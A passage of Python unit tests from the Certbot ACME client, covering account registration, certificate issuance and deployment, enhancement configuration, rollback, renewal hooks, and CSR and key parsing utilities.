        new_dir = os.path.join(self.dir, 'new')
        self._call(new_dir, 0o700, os.geteuid(), False)
        self.assertTrue(os.path.exists(new_dir))

    @mock.patch('certbot.main.util.make_or_verify_dir')
    def test_failure(self, mock_make_or_verify):
        mock_make_or_verify.side_effect = OSError
        self.assertRaises(errors.Error, self._call,
                          self.dir, 0o700, os.geteuid(), False)


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for certbot.colored_logging."""
import logging
import unittest

import six

from certbot import util


class StreamHandlerTest(unittest.TestCase):
    """Tests for certbot.colored_logging."""

    def setUp(self):
        from certbot import colored_logging

        self.stream = six.StringIO()
        self.stream.isatty = lambda: True
        self.handler = colored_logging.StreamHandler(self.stream)

        self.logger = logging.getLogger()
        self.logger.setLevel(logging.DEBUG)
        self.logger.addHandler(self.handler)

    def test_format(self):
        msg = 'I did a thing'
        self.logger.debug(msg)
        self.assertEqual(self.stream.getvalue(), '{0}\n'.format(msg))

    def test_format_and_red_level(self):
        msg = 'I did another thing'
        self.handler.red_level = logging.DEBUG
        self.logger.debug(msg)

        self.assertEqual(self.stream.getvalue(),
                         '{0}{1}{2}\n'.format(util.ANSI_SGR_RED,
                                              msg,
                                              util.ANSI_SGR_RESET))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.client."""
import os
import shutil
import tempfile
import unittest

import OpenSSL
import mock

from acme import jose

from certbot import account
from certbot import errors
from certbot import util

from certbot.tests import test_util


KEY = test_util.load_vector("rsa512_key.pem")
CSR_SAN = test_util.load_vector("csr-san.der")


class ConfigHelper(object):
    """Creates a dummy object to imitate a namespace object

        Example: cfg = ConfigHelper(redirect=True, hsts=False, uir=False)
        will result in: cfg.redirect=True, cfg.hsts=False, etc.
    """
    def __init__(self, **kwds):
        self.__dict__.update(kwds)

class RegisterTest(unittest.TestCase):
    """Tests for certbot.client.register."""

    def setUp(self):
        self.config = mock.MagicMock(rsa_key_size=1024, register_unsafely_without_email=False)
        self.account_storage = account.AccountMemoryStorage()
        self.tos_cb = mock.MagicMock()

    def _call(self):
        from certbot.client import register
        return register(self.config, self.account_storage, self.tos_cb)

    def test_no_tos(self):
        with mock.patch("certbot.client.acme_client.Client") as mock_client:
            mock_client.register().terms_of_service = "http://tos"
            with mock.patch("certbot.account.report_new_account"):
                self.tos_cb.return_value = False
                self.assertRaises(errors.Error, self._call)

                self.tos_cb.return_value = True
                self._call()

                self.tos_cb = None
                self._call()

    def test_it(self):
        with mock.patch("certbot.client.acme_client.Client"):
            with mock.patch("certbot.account.report_new_account"):
                self._call()

    @mock.patch("certbot.account.report_new_account")
    @mock.patch("certbot.client.display_ops.get_email")
    def test_email_retry(self, _rep, mock_get_email):
        from acme import messages
        self.config.noninteractive_mode = False
        msg = "DNS problem: NXDOMAIN looking up MX for example.com"
        mx_err = messages.Error(detail=msg, typ="urn:acme:error:invalidEmail")
        with mock.patch("certbot.client.acme_client.Client") as mock_client:
            mock_client().register.side_effect = [mx_err, mock.MagicMock()]
            self._call()
            self.assertEqual(mock_get_email.call_count, 1)

    @mock.patch("certbot.account.report_new_account")
    def test_email_invalid_noninteractive(self, _rep):
        from acme import messages
        msg = "DNS problem: NXDOMAIN looking up MX for example.com"
        mx_err = messages.Error(detail=msg, typ="urn:acme:error:invalidEmail")
        with mock.patch("certbot.client.acme_client.Client") as mock_client:
            mock_client().register.side_effect = [mx_err, mock.MagicMock()]
            self.assertRaises(errors.Error, self._call)

    def test_needs_email(self):
        self.config.email = None
        self.assertRaises(errors.Error, self._call)

    @mock.patch("certbot.client.logger")
    def test_without_email(self, mock_logger):
        with mock.patch("certbot.client.acme_client.Client"):
            with mock.patch("certbot.account.report_new_account"):
                self.config.email = None
                self.config.register_unsafely_without_email = True
                self.config.dry_run = False
                self._call()
                mock_logger.warning.assert_called_once_with(mock.ANY)

    def test_unsupported_error(self):
        from acme import messages
        msg = "Test"
        mx_err = messages.Error(detail=msg, typ="malformed", title="title")
        with mock.patch("certbot.client.acme_client.Client") as mock_client:
            mock_client().register.side_effect = [mx_err, mock.MagicMock()]
            self.assertRaises(messages.Error, self._call)

class ClientTest(unittest.TestCase):
    """Tests for certbot.client.Client."""

    def setUp(self):
        self.config = mock.MagicMock(
            no_verify_ssl=False, config_dir="/etc/letsencrypt", allow_subset_of_names=False)
        # pylint: disable=star-args
        self.account = mock.MagicMock(**{"key.pem": KEY})
        self.eg_domains = ["example.com", "www.example.com"]

        from certbot.client import Client
        with mock.patch("certbot.client.acme_client.Client") as acme:
            self.acme_client = acme
            self.acme = acme.return_value = mock.MagicMock()
            self.client = Client(
                config=self.config, account_=self.account,
                auth=None, installer=None)

    def test_init_acme_verify_ssl(self):
        net = self.acme_client.call_args[1]["net"]
        self.assertTrue(net.verify_ssl)

    def _mock_obtain_certificate(self):
        self.client.auth_handler = mock.MagicMock()
        self.client.auth_handler.get_authorizations.return_value = [None]
        self.acme.request_issuance.return_value = mock.sentinel.certr
        self.acme.fetch_chain.return_value = mock.sentinel.chain

    def _check_obtain_certificate(self):
        self.client.auth_handler.get_authorizations.assert_called_once_with(
            self.eg_domains,
            self.config.allow_subset_of_names)

        authzr = self.client.auth_handler.get_authorizations()

        self.acme.request_issuance.assert_called_once_with(
            jose.ComparableX509(OpenSSL.crypto.load_certificate_request(
                OpenSSL.crypto.FILETYPE_ASN1, CSR_SAN)),
            authzr)

        self.acme.fetch_chain.assert_called_once_with(mock.sentinel.certr)

    @mock.patch("certbot.client.logger")
    def test_obtain_certificate_from_csr(self, mock_logger):
        self._mock_obtain_certificate()
        test_csr = util.CSR(form="der", file=None, data=CSR_SAN)
        auth_handler = self.client.auth_handler

        authzr = auth_handler.get_authorizations(self.eg_domains, False)
        self.assertEqual(
            (mock.sentinel.certr, mock.sentinel.chain),
            self.client.obtain_certificate_from_csr(
                self.eg_domains,
                test_csr,
                authzr=authzr))
        # and that the cert was obtained correctly
        self._check_obtain_certificate()

        # Test for authzr=None
        self.assertEqual(
            (mock.sentinel.certr, mock.sentinel.chain),
            self.client.obtain_certificate_from_csr(
                self.eg_domains,
                test_csr,
                authzr=None))
        auth_handler.get_authorizations.assert_called_with(self.eg_domains)

        # Test for no auth_handler
        self.client.auth_handler = None
        self.assertRaises(
            errors.Error,
            self.client.obtain_certificate_from_csr,
            self.eg_domains,
            test_csr)
        mock_logger.warning.assert_called_once_with(mock.ANY)

    @mock.patch("certbot.client.crypto_util")
    def test_obtain_certificate(self, mock_crypto_util):
        self._mock_obtain_certificate()

        csr = util.CSR(form="der", file=None, data=CSR_SAN)
        mock_crypto_util.init_save_csr.return_value = csr
        mock_crypto_util.init_save_key.return_value = mock.sentinel.key
        domains = ["example.com", "www.example.com"]

        # return_value is essentially set to (None, None) in
        # _mock_obtain_certificate(), which breaks this test.
        # Thus fixed by the next line.

        authzr = []

        # domain ordering should not be affected by authorization order
        for domain in reversed(domains):
            authzr.append(
                mock.MagicMock(
                    body=mock.MagicMock(
                        identifier=mock.MagicMock(
                            value=domain))))

        self.client.auth_handler.get_authorizations.return_value = authzr

        self.assertEqual(
            self.client.obtain_certificate(domains),
            (mock.sentinel.certr, mock.sentinel.chain, mock.sentinel.key, csr))

        mock_crypto_util.init_save_key.assert_called_once_with(
            self.config.rsa_key_size, self.config.key_dir)
        mock_crypto_util.init_save_csr.assert_called_once_with(
            mock.sentinel.key, domains, self.config.csr_dir)
        self._check_obtain_certificate()

    @mock.patch("certbot.cli.helpful_parser")
    def test_save_certificate(self, mock_parser):
        # pylint: disable=too-many-locals
        certs = ["matching_cert.pem", "cert.pem", "cert-san.pem"]
        tmp_path = tempfile.mkdtemp()
        os.chmod(tmp_path, 0o755)  # TODO: really??

        certr = mock.MagicMock(body=test_util.load_comparable_cert(certs[0]))
        chain_cert = [test_util.load_comparable_cert(certs[1]),
                      test_util.load_comparable_cert(certs[2])]
        candidate_cert_path = os.path.join(tmp_path, "certs", "cert.pem")
        candidate_chain_path = os.path.join(tmp_path, "chains", "chain.pem")
        candidate_fullchain_path = os.path.join(tmp_path, "chains", "fullchain.pem")
        mock_parser.verb = "certonly"
        mock_parser.args = ["--cert-path", candidate_cert_path,
                "--chain-path", candidate_chain_path,
                "--fullchain-path", candidate_fullchain_path]

        cert_path, chain_path, fullchain_path = self.client.save_certificate(
            certr, chain_cert, candidate_cert_path, candidate_chain_path,
            candidate_fullchain_path)

        self.assertEqual(os.path.dirname(cert_path),
                         os.path.dirname(candidate_cert_path))
        self.assertEqual(os.path.dirname(chain_path),
                         os.path.dirname(candidate_chain_path))
        self.assertEqual(os.path.dirname(fullchain_path),
                         os.path.dirname(candidate_fullchain_path))

        with open(cert_path, "rb") as cert_file:
            cert_contents = cert_file.read()
        self.assertEqual(cert_contents, test_util.load_vector(certs[0]))

        with open(chain_path, "rb") as chain_file:
            chain_contents = chain_file.read()
        self.assertEqual(chain_contents, test_util.load_vector(certs[1]) +
                         test_util.load_vector(certs[2]))

        shutil.rmtree(tmp_path)

    def test_deploy_certificate_success(self):
        self.assertRaises(errors.Error, self.client.deploy_certificate,
                          ["foo.bar"], "key", "cert", "chain", "fullchain")

        installer = mock.MagicMock()
        self.client.installer = installer

        self.client.deploy_certificate(
            ["foo.bar"], "key", "cert", "chain", "fullchain")
        installer.deploy_cert.assert_called_once_with(
            cert_path=os.path.abspath("cert"),
            chain_path=os.path.abspath("chain"),
            domain='foo.bar',
            fullchain_path='fullchain',
            key_path=os.path.abspath("key"))
        self.assertEqual(installer.save.call_count, 2)
        installer.restart.assert_called_once_with()

    def test_deploy_certificate_failure(self):
        installer = mock.MagicMock()
        self.client.installer = installer

        installer.deploy_cert.side_effect = errors.PluginError
        self.assertRaises(errors.PluginError, self.client.deploy_certificate,
                          ["foo.bar"], "key", "cert", "chain", "fullchain")
        installer.recovery_routine.assert_called_once_with()

    def test_deploy_certificate_save_failure(self):
        installer = mock.MagicMock()
        self.client.installer = installer

        installer.save.side_effect = errors.PluginError
        self.assertRaises(errors.PluginError, self.client.deploy_certificate,
                          ["foo.bar"], "key", "cert", "chain", "fullchain")
        installer.recovery_routine.assert_called_once_with()

    @mock.patch("certbot.client.zope.component.getUtility")
    def test_deploy_certificate_restart_failure(self, mock_get_utility):
        installer = mock.MagicMock()
        installer.restart.side_effect = [errors.PluginError, None]
        self.client.installer = installer

        self.assertRaises(errors.PluginError, self.client.deploy_certificate,
                          ["foo.bar"], "key", "cert", "chain", "fullchain")
        self.assertEqual(mock_get_utility().add_message.call_count, 1)
        installer.rollback_checkpoints.assert_called_once_with()
        self.assertEqual(installer.restart.call_count, 2)

    @mock.patch("certbot.client.zope.component.getUtility")
    def test_deploy_certificate_restart_failure2(self, mock_get_utility):
        installer = mock.MagicMock()
        installer.restart.side_effect = errors.PluginError
        installer.rollback_checkpoints.side_effect = errors.ReverterError
        self.client.installer = installer

        self.assertRaises(errors.PluginError, self.client.deploy_certificate,
                          ["foo.bar"], "key", "cert", "chain", "fullchain")
        self.assertEqual(mock_get_utility().add_message.call_count, 1)
        installer.rollback_checkpoints.assert_called_once_with()
        self.assertEqual(installer.restart.call_count, 1)

    @mock.patch("certbot.client.enhancements")
    def test_enhance_config(self, mock_enhancements):
        config = ConfigHelper(redirect=True, hsts=False, uir=False)
        self.assertRaises(errors.Error,
                          self.client.enhance_config, ["foo.bar"], config)

        mock_enhancements.ask.return_value = True
        installer = mock.MagicMock()
        self.client.installer = installer
        installer.supported_enhancements.return_value = ["redirect"]

        self.client.enhance_config(["foo.bar"], config)
        installer.enhance.assert_called_once_with("foo.bar", "redirect", None)
        self.assertEqual(installer.save.call_count, 1)
        installer.restart.assert_called_once_with()

    @mock.patch("certbot.client.enhancements")
    def test_enhance_config_no_ask(self, mock_enhancements):
        config = ConfigHelper(redirect=True, hsts=False, uir=False)
        self.assertRaises(errors.Error,
                          self.client.enhance_config, ["foo.bar"], config)

        mock_enhancements.ask.return_value = True
        installer = mock.MagicMock()
        self.client.installer = installer
        installer.supported_enhancements.return_value = ["redirect", "ensure-http-header"]

        config = ConfigHelper(redirect=True, hsts=False, uir=False)
        self.client.enhance_config(["foo.bar"], config)
        installer.enhance.assert_called_with("foo.bar", "redirect", None)

        config = ConfigHelper(redirect=False, hsts=True, uir=False)
        self.client.enhance_config(["foo.bar"], config)
        installer.enhance.assert_called_with("foo.bar", "ensure-http-header",
                "Strict-Transport-Security")

        config = ConfigHelper(redirect=False, hsts=False, uir=True)
        self.client.enhance_config(["foo.bar"], config)
        installer.enhance.assert_called_with("foo.bar", "ensure-http-header",
                "Upgrade-Insecure-Requests")

        self.assertEqual(installer.save.call_count, 3)
        self.assertEqual(installer.restart.call_count, 3)

    @mock.patch("certbot.client.enhancements")
    def test_enhance_config_unsupported(self, mock_enhancements):
        installer = mock.MagicMock()
        self.client.installer = installer
        installer.supported_enhancements.return_value = []

        config = ConfigHelper(redirect=None, hsts=True, uir=True)
        self.client.enhance_config(["foo.bar"], config)
        installer.enhance.assert_not_called()
        mock_enhancements.ask.assert_not_called()

    def test_enhance_config_no_installer(self):
        config = ConfigHelper(redirect=True, hsts=False, uir=False)
        self.assertRaises(errors.Error,
                          self.client.enhance_config, ["foo.bar"], config)

    @mock.patch("certbot.client.zope.component.getUtility")
    @mock.patch("certbot.client.enhancements")
    def test_enhance_config_enhance_failure(self, mock_enhancements,
                                            mock_get_utility):
        mock_enhancements.ask.return_value = True
        installer = mock.MagicMock()
        self.client.installer = installer
        installer.supported_enhancements.return_value = ["redirect"]
        installer.enhance.side_effect = errors.PluginError

        config = ConfigHelper(redirect=True, hsts=False, uir=False)

        self.assertRaises(errors.PluginError,
                          self.client.enhance_config, ["foo.bar"], config)
        installer.recovery_routine.assert_called_once_with()
        self.assertEqual(mock_get_utility().add_message.call_count, 1)

    @mock.patch("certbot.client.zope.component.getUtility")
    @mock.patch("certbot.client.enhancements")
    def test_enhance_config_save_failure(self, mock_enhancements,
                                         mock_get_utility):
        mock_enhancements.ask.return_value = True
        installer = mock.MagicMock()
        self.client.installer = installer
        installer.supported_enhancements.return_value = ["redirect"]
        installer.save.side_effect = errors.PluginError

        config = ConfigHelper(redirect=True, hsts=False, uir=False)

        self.assertRaises(errors.PluginError,
                          self.client.enhance_config, ["foo.bar"], config)
        installer.recovery_routine.assert_called_once_with()
        self.assertEqual(mock_get_utility().add_message.call_count, 1)

    @mock.patch("certbot.client.zope.component.getUtility")
    @mock.patch("certbot.client.enhancements")
    def test_enhance_config_restart_failure(self, mock_enhancements,
                                            mock_get_utility):
        mock_enhancements.ask.return_value = True
        installer = mock.MagicMock()
        self.client.installer = installer
        installer.supported_enhancements.return_value = ["redirect"]
        installer.restart.side_effect = [errors.PluginError, None]

        config = ConfigHelper(redirect=True, hsts=False, uir=False)

        self.assertRaises(errors.PluginError,
                          self.client.enhance_config, ["foo.bar"], config)

        self.assertEqual(mock_get_utility().add_message.call_count, 1)
        installer.rollback_checkpoints.assert_called_once_with()
        self.assertEqual(installer.restart.call_count, 2)

    @mock.patch("certbot.client.zope.component.getUtility")
    @mock.patch("certbot.client.enhancements")
    def test_enhance_config_restart_failure2(self, mock_enhancements,
                                             mock_get_utility):
        mock_enhancements.ask.return_value = True
        installer = mock.MagicMock()
        self.client.installer = installer
        installer.supported_enhancements.return_value = ["redirect"]
        installer.restart.side_effect = errors.PluginError
        installer.rollback_checkpoints.side_effect = errors.ReverterError

        config = ConfigHelper(redirect=True, hsts=False, uir=False)

        self.assertRaises(errors.PluginError,
                          self.client.enhance_config, ["foo.bar"], config)
        self.assertEqual(mock_get_utility().add_message.call_count, 1)
        installer.rollback_checkpoints.assert_called_once_with()
        self.assertEqual(installer.restart.call_count, 1)


class RollbackTest(unittest.TestCase):
    """Tests for certbot.client.rollback."""

    def setUp(self):
        self.m_install = mock.MagicMock()

    @classmethod
    def _call(cls, checkpoints, side_effect):
        from certbot.client import rollback
        with mock.patch("certbot.client.plugin_selection.pick_installer") as mpi:
            mpi.side_effect = side_effect
            rollback(None, checkpoints, {}, mock.MagicMock())

    def test_no_problems(self):
        self._call(1, self.m_install)
        self.assertEqual(self.m_install().rollback_checkpoints.call_count, 1)
        self.assertEqual(self.m_install().restart.call_count, 1)

    def test_no_installer(self):
        self._call(1, None)  # Just make sure no exceptions are raised


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for hooks.py"""
# pylint: disable=protected-access

import os
import unittest

import mock

from certbot import errors
from certbot import hooks

class HookTest(unittest.TestCase):
    def setUp(self):
        pass

    def tearDown(self):
        pass

    @mock.patch('certbot.hooks._prog')
    def test_validate_hooks(self, mock_prog):
        config = mock.MagicMock(pre_hook="", post_hook="ls -lR", renew_hook="uptime")
        hooks.validate_hooks(config)
        self.assertEqual(mock_prog.call_count, 2)
        self.assertEqual(mock_prog.call_args_list[1][0][0], 'uptime')
        self.assertEqual(mock_prog.call_args_list[0][0][0], 'ls')
        mock_prog.return_value = None
        config = mock.MagicMock(pre_hook="explodinator", post_hook="", renew_hook="")
        self.assertRaises(errors.HookCommandNotFound, hooks.validate_hooks, config)

    @mock.patch('certbot.hooks._is_exe')
    def test_which(self, mock_is_exe):
        mock_is_exe.return_value = True
        self.assertEqual(hooks._which("/path/to/something"), "/path/to/something")

        with mock.patch.dict('os.environ', {"PATH": "/floop:/fleep"}):
            mock_is_exe.return_value = True
            self.assertEqual(hooks._which("pingify"), "/floop/pingify")
            mock_is_exe.return_value = False
            self.assertEqual(hooks._which("pingify"), None)
        self.assertEqual(hooks._which("/path/to/something"), None)

    @mock.patch('certbot.hooks._which')
    def test_prog(self, mockwhich):
        mockwhich.return_value = "/very/very/funky"
        self.assertEqual(hooks._prog("funky"), "funky")
        mockwhich.return_value = None
        self.assertEqual(hooks._prog("funky"), None)

    def _test_a_hook(self, config, hook_function, calls_expected):
        with mock.patch('certbot.hooks.logger') as mock_logger:
            mock_logger.warning = mock.MagicMock()
            with mock.patch('certbot.hooks._run_hook') as mock_run_hook:
                hook_function(config)
                hook_function(config)
                self.assertEqual(mock_run_hook.call_count, calls_expected)
            return mock_logger.warning

    def test_pre_hook(self):
        hooks.pre_hook.already = False
        config = mock.MagicMock(pre_hook="true")
        self._test_a_hook(config, hooks.pre_hook, 1)
        config = mock.MagicMock(pre_hook="")
        self._test_a_hook(config, hooks.pre_hook, 0)

    def test_post_hook(self):
        hooks.pre_hook.already = False
        # if pre-hook isn't called, post-hook shouldn't be
        config = mock.MagicMock(post_hook="true", verb="splonk")
        self._test_a_hook(config, hooks.post_hook, 0)

        config = mock.MagicMock(post_hook="true", verb="splonk")
        self._test_a_hook(config, hooks.pre_hook, 1)
        self._test_a_hook(config, hooks.post_hook, 2)

        config = mock.MagicMock(post_hook="true", verb="renew")
        self._test_a_hook(config, hooks.post_hook, 0)

    def test_renew_hook(self):
        with mock.patch.dict('os.environ', {}):
            domains = ["a", "b"]
            lineage = "thing"
            rhook = lambda x: hooks.renew_hook(x, domains, lineage)

            config = mock.MagicMock(renew_hook="true", dry_run=False)
            self._test_a_hook(config, rhook, 2)
            self.assertEqual(os.environ["RENEWED_DOMAINS"], "a b")
            self.assertEqual(os.environ["RENEWED_LINEAGE"], "thing")

            config = mock.MagicMock(renew_hook="true", dry_run=True)
            mock_warn = self._test_a_hook(config, rhook, 0)
            self.assertEqual(mock_warn.call_count, 2)

    @mock.patch('certbot.hooks.Popen')
    def test_run_hook(self, mock_popen):
        with mock.patch('certbot.hooks.logger.error') as mock_error:
            mock_cmd = mock.MagicMock()
            mock_cmd.returncode = 1
            mock_cmd.communicate.return_value = ("", "")
            mock_popen.return_value = mock_cmd
            hooks._run_hook("ls")
            self.assertEqual(mock_error.call_count, 1)
        with mock.patch('certbot.hooks.logger.error') as mock_error:
            mock_cmd.communicate.return_value = ("", "thing")
            hooks._run_hook("ls")
            self.assertEqual(mock_error.call_count, 2)


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for certbot.crypto_util."""
import logging
import shutil
import tempfile
import unittest

import OpenSSL
import mock
import zope.component

from certbot import errors
from certbot import interfaces
from certbot import util
from certbot.tests import test_util


RSA256_KEY = test_util.load_vector('rsa256_key.pem')
RSA512_KEY = test_util.load_vector('rsa512_key.pem')
CERT_PATH = test_util.vector_path('cert.pem')
CERT = test_util.load_vector('cert.pem')
SAN_CERT = test_util.load_vector('cert-san.pem')


class InitSaveKeyTest(unittest.TestCase):
    """Tests for certbot.crypto_util.init_save_key."""
    def setUp(self):
        logging.disable(logging.CRITICAL)
        zope.component.provideUtility(
            mock.Mock(strict_permissions=True), interfaces.IConfig)
        self.key_dir = tempfile.mkdtemp('key_dir')

    def tearDown(self):
        logging.disable(logging.NOTSET)
        shutil.rmtree(self.key_dir)

    @classmethod
    def _call(cls, key_size, key_dir):
        from certbot.crypto_util import init_save_key
        return init_save_key(key_size, key_dir, 'key-certbot.pem')

    @mock.patch('certbot.crypto_util.make_key')
    def test_success(self, mock_make):
        mock_make.return_value = 'key_pem'
        key = self._call(1024, self.key_dir)
        self.assertEqual(key.pem, 'key_pem')
        self.assertTrue('key-certbot.pem' in key.file)

    @mock.patch('certbot.crypto_util.make_key')
    def test_key_failure(self, mock_make):
        mock_make.side_effect = ValueError
        self.assertRaises(ValueError, self._call, 431, self.key_dir)


class InitSaveCSRTest(unittest.TestCase):
    """Tests for certbot.crypto_util.init_save_csr."""

    def setUp(self):
        zope.component.provideUtility(
            mock.Mock(strict_permissions=True), interfaces.IConfig)
        self.csr_dir = tempfile.mkdtemp('csr_dir')

    def tearDown(self):
        shutil.rmtree(self.csr_dir)

    @mock.patch('certbot.crypto_util.make_csr')
    @mock.patch('certbot.crypto_util.util.make_or_verify_dir')
    def test_it(self, unused_mock_verify, mock_csr):
        from certbot.crypto_util import init_save_csr

        mock_csr.return_value = ('csr_pem', 'csr_der')

        csr = init_save_csr(
            mock.Mock(pem='dummy_key'), 'example.com', self.csr_dir,
            'csr-certbot.pem')

        self.assertEqual(csr.data, 'csr_der')
        self.assertTrue('csr-certbot.pem' in csr.file)


class MakeCSRTest(unittest.TestCase):
    """Tests for certbot.crypto_util.make_csr."""

    @classmethod
    def _call(cls, *args, **kwargs):
        from certbot.crypto_util import make_csr
        return make_csr(*args, **kwargs)

    def test_san(self):
        from certbot.crypto_util import get_sans_from_csr
        # TODO: Fails for RSA256_KEY
        csr_pem, csr_der = self._call(
            RSA512_KEY, ['example.com', 'www.example.com'])
        self.assertEqual(
            ['example.com', 'www.example.com'], get_sans_from_csr(csr_pem))
        self.assertEqual(
            ['example.com', 'www.example.com'], get_sans_from_csr(
                csr_der, OpenSSL.crypto.FILETYPE_ASN1))

    def test_must_staple(self):
        # TODO: Fails for RSA256_KEY
        csr_pem, _ = self._call(
            RSA512_KEY, ['example.com', 'www.example.com'], must_staple=True)
        csr = OpenSSL.crypto.load_certificate_request(
            OpenSSL.crypto.FILETYPE_PEM, csr_pem)

        # In pyopenssl 0.13 (used with TOXENV=py26-oldest and py27-oldest), csr
        # objects don't have a get_extensions() method, so we skip this test if
        # the method isn't available.
        if hasattr(csr, 'get_extensions'):
            # NOTE: Ideally we would filter by the TLS Feature OID, but
            # OpenSSL.crypto.X509Extension doesn't give us the extension's raw OID,
            # and the shortname field is just "UNDEF"
            must_staple_exts = [e for e in csr.get_extensions()
                if e.get_data() == b"0\x03\x02\x01\x05"]
            self.assertEqual(len(must_staple_exts), 1,
                "Expected exactly one Must Staple extension")


class ValidCSRTest(unittest.TestCase):
    """Tests for certbot.crypto_util.valid_csr."""

    @classmethod
    def _call(cls, csr):
        from certbot.crypto_util import valid_csr
        return valid_csr(csr)

    def test_valid_pem_true(self):
        self.assertTrue(self._call(test_util.load_vector('csr.pem')))

    def test_valid_pem_san_true(self):
        self.assertTrue(self._call(test_util.load_vector('csr-san.pem')))

    def test_valid_der_false(self):
        self.assertFalse(self._call(test_util.load_vector('csr.der')))

    def test_valid_der_san_false(self):
        self.assertFalse(self._call(test_util.load_vector('csr-san.der')))

    def test_empty_false(self):
        self.assertFalse(self._call(''))

    def test_random_false(self):
        self.assertFalse(self._call('foo bar'))


class CSRMatchesPubkeyTest(unittest.TestCase):
    """Tests for certbot.crypto_util.csr_matches_pubkey."""

    @classmethod
    def _call(cls, *args, **kwargs):
        from certbot.crypto_util import csr_matches_pubkey
        return csr_matches_pubkey(*args, **kwargs)

    def test_valid_true(self):
        self.assertTrue(self._call(
            test_util.load_vector('csr.pem'), RSA512_KEY))

    def test_invalid_false(self):
        self.assertFalse(self._call(
            test_util.load_vector('csr.pem'), RSA256_KEY))


class ImportCSRFileTest(unittest.TestCase):
    """Tests for certbot.certbot_util.import_csr_file."""

    @classmethod
    def _call(cls, *args, **kwargs):
        from certbot.crypto_util import import_csr_file
        return import_csr_file(*args, **kwargs)

    def test_der_csr(self):
        csrfile = test_util.vector_path('csr.der')
        data = test_util.load_vector('csr.der')

        self.assertEqual(
            (OpenSSL.crypto.FILETYPE_ASN1,
             util.CSR(file=csrfile,
                      data=data,
                      form="der"),
             ["example.com"],),
            self._call(csrfile, data))

    def test_pem_csr(self):
        csrfile = test_util.vector_path('csr.pem')
        data = test_util.load_vector('csr.pem')

        self.assertEqual(
            (OpenSSL.crypto.FILETYPE_PEM,
             util.CSR(file=csrfile,
                      data=data,
                      form="pem"),
             ["example.com"],),
            self._call(csrfile, data))

    def test_bad_csr(self):
        self.assertRaises(errors.Error, self._call,
                          test_util.vector_path('cert.pem'),
                          test_util.load_vector('cert.pem'))


class MakeKeyTest(unittest.TestCase):  # pylint: disable=too-few-public-methods
    """Tests for certbot.crypto_util.make_key."""

    def test_it(self):  # pylint: disable=no-self-use
        from certbot.crypto_util import make_key
        # Do not test larger keys as it takes too long.
        OpenSSL.crypto.load_privatekey(
            OpenSSL.crypto.FILETYPE_PEM, make_key(1024))


class ValidPrivkeyTest(unittest.TestCase):
    """Tests for certbot.crypto_util.valid_privkey."""

    @classmethod
    def _call(cls, privkey):
        from certbot.crypto_util import valid_privkey
        return valid_privkey(privkey)

    def test_valid_true(self):
        self.assertTrue(self._call(RSA256_KEY))

    def test_empty_false(self):
        self.assertFalse(self._call(''))

    def test_random_false(self):
        self.assertFalse(self._call('foo bar'))


class GetSANsFromCertTest(unittest.TestCase):
    """Tests for certbot.crypto_util.get_sans_from_cert."""

    @classmethod
    def _call(cls, *args, **kwargs):
        from certbot.crypto_util import get_sans_from_cert
        return get_sans_from_cert(*args, **kwargs)

    def test_single(self):
        self.assertEqual([], self._call(test_util.load_vector('cert.pem')))

    def test_san(self):
        self.assertEqual(
            ['example.com', 'www.example.com'],
            self._call(test_util.load_vector('cert-san.pem')))


class GetSANsFromCSRTest(unittest.TestCase):
    """Tests for certbot.crypto_util.get_sans_from_csr."""

    @classmethod
    def _call(cls, *args, **kwargs):
        from certbot.crypto_util import get_sans_from_csr
        return get_sans_from_csr(*args, **kwargs)

    def test_extract_one_san(self):
        self.assertEqual(['example.com'], self._call(
            test_util.load_vector('csr.pem')))

    def test_extract_two_sans(self):
        self.assertEqual(['example.com', 'www.example.com'], self._call(
            test_util.load_vector('csr-san.pem')))

    def test_extract_six_sans(self):
        self.assertEqual(self._call(test_util.load_vector('csr-6sans.pem')),
                         ["example.com", "example.org", "example.net",
                          "example.info", "subdomain.example.com",
                          "other.subdomain.example.com"])

    def test_parse_non_csr(self):
        self.assertRaises(OpenSSL.crypto.Error, self._call, "hello there")

    def test_parse_no_sans(self):
        self.assertEqual(
            [], self._call(test_util.load_vector('csr-nosans.pem')))


class GetNamesFromCertTest(unittest.TestCase):
    """Tests for certbot.crypto_util.get_names_from_cert."""

    @classmethod
    def _call(cls, *args, **kwargs):
        from certbot.crypto_util import get_names_from_cert
        return get_names_from_cert(*args, **kwargs)

    def test_single(self):
        self.assertEqual(
            ['example.com'],
            self._call(test_util.load_vector('cert.pem')))

    def test_san(self):
        self.assertEqual(
            ['example.com', 'www.example.com'],
            self._call(test_util.load_vector('cert-san.pem')))

    def test_common_name_sans_order(self):
        # Tests that the common name comes first
        # followed by the SANS in alphabetical order
        self.assertEqual(
            ['example.com'] + ['{0}.example.com'.format(c) for c in 'abcd'],
            self._call(test_util.load_vector('cert-5sans.pem')))


class GetNamesFromCSRTest(unittest.TestCase):
    """Tests for certbot.crypto_util.get_names_from_csr."""
    @classmethod
    def _call(cls, *args, **kwargs):
        from certbot.crypto_util import get_names_from_csr
        return get_names_from_csr(*args, **kwargs)

    def test_extract_one_san(self):
        self.assertEqual(['example.com'], self._call(
            test_util.load_vector('csr.pem')))

    def test_extract_two_sans(self):
        self.assertEqual(set(('example.com', 'www.example.com',)), set(
            self._call(test_util.load_vector('csr-san.pem'))))

    def test_extract_six_sans(self):
        self.assertEqual(
            set(self._call(test_util.load_vector('csr-6sans.pem'))),
            set(("example.com", "example.org", "example.net",
                 "example.info", "subdomain.example.com",
                 "other.subdomain.example.com",)))

    def test_parse_non_csr(self):
        self.assertRaises(OpenSSL.crypto.Error, self._call, "hello there")

    def test_parse_no_sans(self):
        self.assertEqual(["example.org"],
                         self._call(test_util.load_vector('csr-nosans.pem')))


class CertLoaderTest(unittest.TestCase):
    """Tests for certbot.crypto_util.pyopenssl_load_certificate"""

    def test_load_valid_cert(self):
        from certbot.crypto_util import pyopenssl_load_certificate

        cert, file_type = pyopenssl_load_certificate(CERT)
        self.assertEqual(cert.digest('sha1'),
                         OpenSSL.crypto.load_certificate(file_type, CERT).digest('sha1'))

    def test_load_invalid_cert(self):
        from certbot.crypto_util import pyopenssl_load_certificate
        bad_cert_data = CERT.replace(b"BEGIN CERTIFICATE", b"ASDFASDFASDF!!!")
        self.assertRaises(
            errors.Error, pyopenssl_load_certificate, bad_cert_data)


class NotBeforeTest(unittest.TestCase):
    """Tests for certbot.crypto_util.notBefore"""

    def test_notBefore(self):
